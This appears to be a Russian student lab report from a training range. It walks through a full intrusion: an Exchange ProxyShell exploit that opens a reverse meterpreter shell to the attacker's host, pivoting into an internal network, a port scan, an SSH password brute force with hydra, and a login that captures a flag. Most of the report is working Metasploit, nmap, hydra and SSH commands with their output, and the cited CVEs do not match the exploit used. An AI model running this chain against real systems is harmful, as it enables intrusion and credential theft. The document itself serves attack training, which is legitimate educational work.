

Отчёт по лабораторной работе 4-D (НФИ-2)

**Программный комплекс обучения методам обнаружения,
анализа и устранения последствий компьютерных атак
«Ampire»**

Козлов В.П., Гэинэ А., Шуваев С., Джахангиров И.З, Хватов М.Г.

Содержание

Цель работы	5
Задание	6
Выполнение лабораторной работы	7
Выводы	15
Список литературы	16

Список иллюстраций

1	Модуль exchange_proxyshe11_rce. Настройки	7
2	Настройка и запуск	8
3	Пробрасываем порты”	8
4	модуль ping_sweep”	8
5	Запуск ping_sweep и рут	9
6	Хосты внутренней сети	9
7	Настройка socks проху	10
8	Сканирование	10
9	Открытые порты	10
10	Работа гидры	11
11	Гидра успешна нашла нам пароль	11
12	ssh сессия	12
13	Флаг захвачен!	13
14	ssh_login	13
15	Флаг захвачен! x2	14

Список таблиц

Цель работы

Отработать сценарий: Захват DNS-Сервера.

Задание

1. Установить meterpreter-сессию с узлом в сегменте DMZ.
2. Осуществить поиск DNS-сервера.
3. Отсканировать 100 самых часто используемых портов.
4. Обнаружить ответ от порта 22, а также 53, что стандартно для DNS сервера.
5. Осуществить брут форс атаку.
6. С помощью пароль, подключиться по ssh открыв новую shell сессию.
7. Альтернативно, подключаемся за счёт модуля auxiliary(scanner/ssh/ssh_login).

Выполнение лабораторной работы

Запускаем msfconsole. Загружаем модуль exchange_proxyshell_rce (рис. [-@fig:001])

```
msf6 exploit(windows/http/exchange_proxyshell_rce) > options
Module options (exploit/windows/http/exchange_proxyshell_rce):
```

Name	Current Setting	Required	Description
EMAIL		no	A known email address for this organization
RHOSTS		yes	The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html
RPORT	443	yes	The target port (TCP)
SSL	true	no	Negotiate SSL/TLS for outgoing connections
SSLCert		no	Path to a custom SSL certificate (default is randomly generated)
URIPATH		no	The URI to use for this exploit (default is random)
UseAlternatePath	false	yes	Use the IIS root dir as alternate path
VHOST		no	HTTP server virtual host

When CMDSTAGER::FLAVOR is one of auto,tftp,wget,curl,fetch,lwprequest,psh_invokekewebrequest,ftp_http:

Name	Current Setting	Required	Description
SRVHOST	0.0.0.0	yes	The local host or network interface to listen on. This must be an address on the local machine or 0.0.0.0 to listen on all addresses.
SRVPORT	8080	yes	The local port to listen on.

```
Payload options (windows/x64/meterpreter/reverse_tcp):
```

Name	Current Setting	Required	Description
EXITFUNC	process	yes	Exit technique (Accepted: '', seh, thread, process, none)
LHOST		yes	The listen address (an interface may be specified)
LPORT	4444	yes	The listen port

Рис. 1: Модуль exchange_proxyshell_rce. Настройки

Настраиваем модуль и запускаем (рис. [-@fig:002])

```

msf6 exploit(windows/http/exchange_proxyshell_rce) > set lhost 195.239.174.11
lhost => 195.239.174.11
msf6 exploit(windows/http/exchange_proxyshell_rce) > set rhosts 195.239.174.1
rhosts => 195.239.174.1
msf6 exploit(windows/http/exchange_proxyshell_rce) > run

```

Рис. 2: Настройка и запуск

Получаем сессию meterpreter. Выполняем проброс портов в сеть (рис. [-@fig:003])

```

with the embedded webservice
[*] Writing to: C:\Program Files\Microsoft\Exchange Server\V15\FrontEnd\HttpPro
roxy\owa\auth\2De0yl2oktP.aspx
[*] Waiting for the export request to complete...
[*] The mailbox export request has completed
[*] Triggering the payload
[*] Sending stage (203846 bytes) to 195.239.174.1
[*] Deleted C:\Program Files\Microsoft\Exchange Server\V15\FrontEnd\HttpProxy
\owa\auth\2De0yl2oktP.aspx
[*] Meterpreter session 1 opened (195.239.174.11:4444 -> 195.239.174.1:3382)
at 2025-12-04 18:38:59 +0300
[*] Removing the mailbox export request
[*] Removing the draft email

meterpreter > run autoroute -s 10.10.10.0/24
[*] Meterpreter scripts are deprecated. Try post/multi/manage/autoroute.
[*] Example: run post/multi/manage/autoroute OPTION=value [...]
[*] Adding a route to 10.10.10.0/255.255.255.0...
[*] Added route to 10.10.10.0/255.255.255.0 via 195.239.174.1
[*] Use the -p option to list all active routes
meterpreter > bg

```

Рис. 3: Пробрасываем порты”

Сворачиваем сессию. Переключаемся на модуль ping_sweep (рис. [-@fig:004])

```

meterpreter > bg
[*] Backgrounding session 1...
msf6 exploit(windows/http/exchange_proxyshell_rce) > use post multi gather pi
ng sweep

Matching Modules
=====
#  Name                                     Disclosure Date  Rank  Check  Descripti
on
--  --
0  post/multi/gather/ping_sweep             .               normal No     Multi Gat
her Ping Sweep

Interact with a module by name or index. For example info 0, use 0 or use pos
t/multi/gather/ping_sweep

[*] Using post/multi/gather/ping_sweep
msf6 post(multi/gather/ping_sweep) > set rhosts 10.10.10.0/24
rhosts => 10.10.10.0/24
msf6 post(multi/gather/ping_sweep) > set session 1
session => 1

```

Рис. 4: модуль ping_sweep”

Запускаем скан. Получаем открытый для нас рут во внутрь. (рис. [-@fig:005])

```
msf6 post(multi/gather/ping_sweep) > run
[*] Performing ping sweep for IP range 10.10.10.0/24
[+] 10.10.10.5 host found
[+] 10.10.10.10 host found
[+] 10.10.10.15 host found
[+] 10.10.10.20 host found
[+] 10.10.10.25 host found
[+] 10.10.10.21 host found
[+] 10.10.10.35 host found
[+] 10.10.10.30 host found
[+] 10.10.10.40 host found
[+] 10.10.10.45 host found
[+] 10.10.10.55 host found
^C[-] Post interrupted by the console user
[*] Post module execution completed
msf6 post(multi/gather/ping_sweep) > route
```

Рис. 5: Запуск ping_sweep и рут

Отображаем хостов во внутренней сети (рис. [-@fig:006])

```
meterpreter > arp
ARP cache

```

IP address	MAC address	Interface
10.10.10.5	02:00:00:13:8c:19	Red Hat VirtIO Ethernet Adapter
10.10.10.15	02:00:00:13:8c:16	Red Hat VirtIO Ethernet Adapter
10.10.10.20	02:00:00:13:8c:15	Red Hat VirtIO Ethernet Adapter
10.10.10.21	02:00:00:13:8c:1d	Red Hat VirtIO Ethernet Adapter
10.10.10.25	02:00:00:13:8c:17	Red Hat VirtIO Ethernet Adapter
10.10.10.30	02:00:00:13:8c:1b	Red Hat VirtIO Ethernet Adapter
10.10.10.35	02:00:00:13:8c:1c	Red Hat VirtIO Ethernet Adapter
10.10.10.40	02:00:00:13:8c:13	Red Hat VirtIO Ethernet Adapter
10.10.10.45	02:00:00:13:8c:1f	Red Hat VirtIO Ethernet Adapter
10.10.10.55	02:00:00:13:8c:18	Red Hat VirtIO Ethernet Adapter
10.10.10.254	02:00:00:13:8c:14	Red Hat VirtIO Ethernet Adapter
10.10.10.255	ff:ff:ff:ff:ff:ff	Red Hat VirtIO Ethernet Adapter
224.0.0.22	00:00:00:00:00:00	Software Loopback Interface 1
224.0.0.22	01:00:5e:00:00:16	Red Hat VirtIO Ethernet Adapter
224.0.0.252	01:00:5e:00:00:fc	Red Hat VirtIO Ethernet Adapter
239.255.255.250	00:00:00:00:00:00	Software Loopback Interface 1
239.255.255.250	01:00:5e:7f:ff:fa	Red Hat VirtIO Ethernet Adapter

Рис. 6: Хосты внутренней сети

Переключаемся на socks проху. Настраиваем (рис. [-@fig:007])

```
msf6 post(multi/gather/ping_www) > use 0
msf6 auxiliary(server/socks_proxy) > set srvhost 127.0.0.1
srvhost => 127.0.0.1
msf6 auxiliary(server/socks_proxy) > set srvport 1080
srvport => 1080
msf6 auxiliary(server/socks_proxy) > set version 5
version => 5
msf6 auxiliary(server/socks_proxy) > options

Module options (auxiliary/server/socks_proxy):



| Name    | Current Setting | Required | Description                                                                                                                           |
|---------|-----------------|----------|---------------------------------------------------------------------------------------------------------------------------------------|
| SRVHOST | 127.0.0.1       | yes      | The local host or network interface to listen on. This must be an address on the local machine or 0.0.0.0 to listen on all addresses. |
| SRVPORT | 1080            | yes      | The port to listen on                                                                                                                 |
| VERSION | 5               | yes      | The SOCKS version to use (Accepted: 4a, 5)                                                                                            |



When VERSION is 5:



| Name     | Current Setting | Required | Description                        |
|----------|-----------------|----------|------------------------------------|
| PASSWORD |                 | no       | Proxy password for SOCKS5 listener |
| USERNAME |                 | no       | Proxy username for SOCKS5 listener |



Auxiliary action:



| Name  | Description              |
|-------|--------------------------|
| Proxy | Run a SOCKS proxy server |


```

Рис. 7: Настройка socks proxy

Сканируем 100 самых используемых портов (рис. [-@fig:008])

```
(root@kali)-[~]
└─$ proxychains nmap -n -sT -Pn --top-ports 100 10.10.10.15
[proxychains] config file found: /etc/proxychains4.conf
[proxychains] preloading /usr/lib/x86_64-linux-gnu/libproxychains.so.4
[proxychains] DLL init: proxychains-ng 4.17
[proxychains] DLL init: proxychains-ng 4.17
[proxychains] DLL init: proxychains-ng 4.17
[proxychains] DLL init: proxychains-ng 4.17
Starting Nmap 7.94SVN ( https://nmap.org ) at 2025-12-04 18:45 MSK
[proxychains] Strict chain ... 127.0.0.1:1080 ... 10.10.10.15:443 ←sock
et error or timeout!
[proxychains] Strict chain ... 127.0.0.1:1080 ... 10.10.10.15:199 ←sock
et error or timeout!
[proxychains] Strict chain ... 127.0.0.1:1080 ... 10.10.10.15:445
```

Рис. 8: Сканирование

Видим уязвимости (рис. [-@fig:009])

```
Host is up (1.15 latency).
Not shown: 98 closed tcp ports (conn-refused)
PORT      STATE SERVICE
22/tcp    open  ssh
53/tcp    open  domain
```

Рис. 9: Открытые порты

Через hydra делаем подбор паролей (рис. [-@fig:010])

```

root@kali:~# proxychains hydra -V -f -l user -P rockyou.txt -t 32 10.10.10.15 ssh
[proxychains] config file found: /etc/proxychains4.conf
[proxychains] preloading /usr/lib/x86_64-linux-gnu/libproxychains.so.4
[proxychains] DLL init: proxychains-ng 4.17
hydra v9.5 (c) 2023 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is non-binding, these ** ignore laws and ethics anyway).

```

Рис. 10: Работа гидры

Нашли совпадение (рис. [-@fig:011])

```

080 ... 10.10.10.15:22 ... OK
... OK
... OK
... OK
[ATTEMPT] target 10.10.10.15 - login "user" - pass "loveyou" - 52 of 14344433 [child 13] (0/33)
[ATTEMPT] target 10.10.10.15 - login "user" - pass "california101" - 53 of 14344433 [child 21] (0/33)
[22][ssh] host: 10.10.10.15 login: user password: california101
[STATUS] attack finished for 10.10.10.15 (valid pair found)
1 of 1 target successfully completed, 1 valid password found

```

Рис. 11: Гидра успешна нашла нам пароль

Через ssh заходим на компьютер, пользуясь полученным паролем (рис. [-@fig:012])

```

└─ proxychains ssh user@10.10.10.15
[proxychains] config file found: /etc/proxychains4.conf
[proxychains] preloading /usr/lib/x86_64-linux-gnu/libproxychains.so.4
[proxychains] DLL init: proxychains-ng 4.17
[proxychains] Strict chain ... 127.0.0.1:1080 ... 10.10.10.15:22 ... OK
The authenticity of host '10.10.10.15 (10.10.10.15)' can't be established.
ED25519 key fingerprint is SHA256:hcIxGrj+mcQy9+FUgjS+ol1eGM8lRUMl/uKBvkMeVZo.
This key is not known by any other names.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '10.10.10.15' (ED25519) to the list of known hosts.
user@10.10.10.15's password:
Welcome to Ubuntu 20.04.5 LTS (GNU/Linux 5.4.0-149-generic x86_64)

 * Documentation:  https://help.ubuntu.com
 * Management:    https://landscape.canonical.com
 * Support:       https://ubuntu.com/advantage

System information as of Thu 04 Dec 2025 06:55:20 PM MSK

System load:  0.0               Processes:            132
Usage of /:   66.6% of 9.75GB   Users logged in:     0
Memory usage: 14%              IPv4 address for ens3: 10.10.10.15
Swap usage:   0%

178 updates can be applied immediately.
115 of these updates are standard security updates.
To see these additional updates run: apt list --upgradable

The list of available updates is more than a week old.
To check for new updates run: sudo apt update
Ubuntu comes with ABSOLUTELY NO WARRANTY, to the extent permitted by
applicable law.

Failed to connect to https://changelogs.ubuntu.com/meta-release-lts. Check your
ings

Last login: Tue Nov 18 08:19:01 2025 from 10.10.10.35
user@dns:~$ █

```

Рис. 12: ssh сессия

Находим флажок. Захватываем его (рис. [-@fig:013])

```

Last login: Tue Nov 18 08:19:01 2025 from 10.10.10.35
user@dns:~$ pwd
/home/user
user@dns:~$ cat /etc/hosts
127.0.0.1 localhost
127.0.1.1 ubuntu20-04

10.10.10.5 backup
10.10.10.10 mail
10.10.10.15 dns
10.10.10.20 ad
10.10.10.25 portal
10.10.10.30 sql
10.10.10.35 dev-1
10.10.10.40 cs
10.10.10.222 flag

# The following lines are desirable for IPv6 capable hosts
::1 ip6-localhost ip6-loopback
fe00::0 ip6-localnet
ff00::0 ip6-mcastprefix
ff02::1 ip6-allnodes
ff02::2 ip6-allrouters
195.239.174.125 am-puppet-st-redteamflag: 50136

```

Рис. 13: Флаг захвачен!

Как альтернатива: пользуемся модулем ssh_login (рис. [-@fig:014])

```

msf6 auxiliary(server/socks_proxy) > use auxiliary/scanner/ssh/ssh_login
Matching Modules


| # | Name                                   | Disclosure Date | Rank   | Check | Description                  |
|---|----------------------------------------|-----------------|--------|-------|------------------------------|
| 0 | auxiliary/scanner/ssh/ssh_login        | .               | normal | No    | SSH Login Check Scanner      |
| 1 | auxiliary/scanner/ssh/ssh_login_pubkey | .               | normal | No    | SSH Public Key Login Scanner |


Interact with a module by name or index. For example info 1, use 1 or use auxiliary/scanner/ssh/ssh_login_pubkey

msf6 auxiliary(server/socks_proxy) > use 0
msf6 auxiliary(scanner/ssh/ssh_login) > set rhosts 10.10.10.15
rhosts => 10.10.10.15
msf6 auxiliary(scanner/ssh/ssh_login) > set username user
username => user
msf6 auxiliary(scanner/ssh/ssh_login) > set password 'california101'
password => california101
msf6 auxiliary(scanner/ssh/ssh_login) > run

```

Рис. 14: ssh_login

Флажок найден (повторно) (рис. [-@fig:015])

```
cat /etc
cat: /etc: Is a directory
cat /etc/hosts
127.0.0.1 localhost
127.0.1.1 ubuntu20-04

10.10.10.5 backup
10.10.10.10 mail
10.10.10.15 dns
10.10.10.20 ad
10.10.10.25 portal
10.10.10.30 sql
10.10.10.35 dev-1
10.10.10.40 cs
10.10.10.222 flag

# The following lines are desirable for IPv6 capable hosts
::1 ip6-localhost ip6-loopback
fe00::0 ip6-localnet
ff00::0 ip6-mcastprefix
ff02::1 ip6-allnodes
ff02::2 ip6-allrouters
195.239.174.125 am-puppet-st-redteamflag: 50136
```

Рис. 15: Флаг захвачен! x2

Выводы

Отработали сценарий: Захват DNS-Сервера.

Список литературы

1. **CVE-2019-0630** — Common Vulnerabilities and Exposures.
URL: <https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2019-0630>
2. **CVE-2019-17427** — Уязвимость XSS в Redmine.
URL: <https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2019-17427>
3. **CVE-2019-18890** — Уязвимость Blind SQL-инъекции в Redmine.
URL: <https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2019-18890>